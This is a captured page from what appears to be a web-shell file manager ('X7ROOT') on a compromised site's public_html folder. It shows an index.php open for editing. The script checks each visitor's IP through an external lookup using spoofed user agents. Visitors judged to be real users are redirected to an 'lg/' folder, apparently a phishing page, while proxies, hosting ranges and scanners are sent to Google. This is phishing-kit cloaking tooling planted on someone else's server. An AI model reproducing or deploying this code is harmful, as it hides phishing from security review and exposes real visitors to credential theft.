X7ROOT File Manager
Current Path:
/home/bmglobalcareers/public_html/net
home
/
bmglobalcareers
/
public_html
/
net
/
📁
..
📄
index.php
(1.39 KB)
📁
lg
Editing: index.php
<?php function generateFakeUserAgent() { $platforms = ['Windows NT 10.0; Win64; x64', 'Macintosh; Intel Mac OS X 10_15_7', 'Linux; Android 10; SM-G981B', 'iPad; CPU OS 14_4 like Mac OS X']; $browsers = ['Chrome/58.0.3029.110 Safari/537.36', 'Version/14.0.3 Safari/605.1.15', 'Firefox/87.0', 'Mobile Safari/604.1']; $platform = $platforms[array_rand($platforms)]; $browser = $browsers[array_rand($browsers)]; return "Mozilla/5.0 ($platform) AppleWebKit/537.36 (KHTML, like Gecko) $browser"; } function isRealUserIP($ip) { $apiUrl = "http://ip-api.com/json/$ip?fields=proxy,hosting"; $fakeUserAgent = generateFakeUserAgent(); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $apiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_USERAGENT, $fakeUserAgent); $response = curl_exec($curl); curl_close($curl); if ($response) { $data = json_decode($response, true); // Check both for proxy and hosting flags return isset($data["proxy"], $data["hosting"]) && !$data["proxy"] && !$data["hosting"]; } return false; // Default to false to be more restrictive in case of API failure } $visitorIP = $_SERVER['REMOTE_ADDR']; if (isRealUserIP($visitorIP)) { header('Location: lg/'); } else { header('Location: https://www.google.com'); } exit; ?>
Upload File
Create Folder